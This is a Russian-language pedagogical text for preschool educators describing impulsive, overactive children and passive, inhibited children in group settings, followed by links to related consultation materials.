- Импульсивные дети чрезвычайно подвижны и эмоциональны. Для них характерны повышенная активность, суетливость, неорганизованность. Они охотно принимают любые предложения, с интересом включаются в любую игру, но очень быстро теряют этот интерес и остывают. Таким детям трудно соблюдать правила игры, сидеть на занятиях, долгое время заниматься одним делом. Им трудно слушать взрослого – они не могут дослушать объяснение до конца, постоянно отвлекаются. Очевидно, что такие дети представляют серьезную проблему в каждой группе. Они могут громко разговаривать на занятиях или просто уйти, если им не слишком интересно. Стремление к самостоятельным действиям (я так хочу) оказывается более значимым и сильным мотивом, чем любые правила.
Такие дети могут прекрасно знать правила поведения, однако знание правила не отражается на их поведении. Правило остается субъективно не значащим. Интеллектуальный уровень и творческая активность при этом могут быть достаточно высокими, но в ситуации занятий импульсивные дети часто отвлекаются сами и мешают остальным. Основная проблема здесь в неразвитости произвольности, т. е. неспособности сдержать свои непосредственные, ситуативные желания.
- Заторможенные, пассивные дети, напротив, чрезвычайно спокойны и, казалось бы, усидчивы. Они ничем не выделяются и не нарушают дисциплины, никому не мешают, спокойно и покорно выполняют поручения взрослого, соблюдают правила поведения в быту и на занятиях. Такие дети очень «удобны» в группе – они не требуют к себе внимания, почти незаметны. Однако такая покорность должна настораживать, поскольку за ней может стоять отсутствие интереса к окружающему – к играм, предметам, самостоятельной деятельности, – которое порождает полную пассивность детей. Как правило, у них сниженный эмоциональный тонус, они редко и тихо смеются, ничему не удивляются, не проявляют интереса к играм и занятиям, хотя и участвуют в них наравне с другими. Они редко и тихо говорят, от них трудно добиться развернутого ответа, а тем более самостоятельного высказывания. Они равнодушно принимают любые предложения взрослого, никогда не отказывают ему, но, как только нужно проявить инициативу в игре или на занятиях (что-нибудь придумать, сочинить, ответить на вопрос), молчат, опускают глаза, пожимают плечами и явно не знают, что делать. В их поведении, в особенности в новой, проблемной ситуации, чувствуется скованность и напряженность, которая мешает включиться в деятельность и проявить себя. Их внимание обычно сосредоточено на взрослом, от которого они постоянно ждут указаний и инструкций. Несмотря на покорность и «послушность» таких детей, общаться с ними достаточно трудно: они никогда не возражают, не высказывают своей точки зрения, редко отвечают на вопросы, не проявляют себя. А без взаимной активности общение сводится к одностороннему руководству взрослого и подчинению ребенка. Их пассивное, «незаметное», зависимое поведение может свидетельствовать о неразвитости мотивационной сферы, об отсутствии собственных интересов и инициативности.
Детей, относящихся к описанным группам, можно выявить с помощью наблюдения. Однако далеко не всегда повышенная активность ребенка свидетельствует о его импульсивности и отсутствии произвольности, а спокойное, пассивное поведение – о неразвитости интересов и творческой активности.
По теме: методические разработки, презентации и конспекты
Консультация для воспитателей:"Общение воспитателя с ребенком в период адаптации"
Эта статья поможет воспитателям в работе с детьми раннего возраста,а именно в период адаптации малышей....

Консультация для родителей «Общение со вторым ребенком в вашей семье»
Если у вас в семье два ребенка, ваше вербальное и невербальное общение со вторым из них будет отличаться от общения с первым. Следующие рекомендации помогут вам улучшить свое общение со вторым ребенко...
Консультация для родителей "Общение в жизни ребенка"
Родителям хочется видеть своего счастливым, умеющим общаться с окружающими его людьми. Но не всегда ребенку это удается. Задача взрослых - помочь ему в этом....
Роль общения в жизни ребенка дошкольного возраста
Перечислены формы общения ребенка со взрослыми, формы общения со сверстниками и трудности в общении с дошкольниками....

КОНСУЛЬТАЦИЯ для родителей «Общение в жизни ребенка»
Общение ребенка в раннем возрасте с матерью, близкими людьми – необходимое условие его здорового психического развития. Со временем особое значение для ребенка приобретает общение с ровесн...



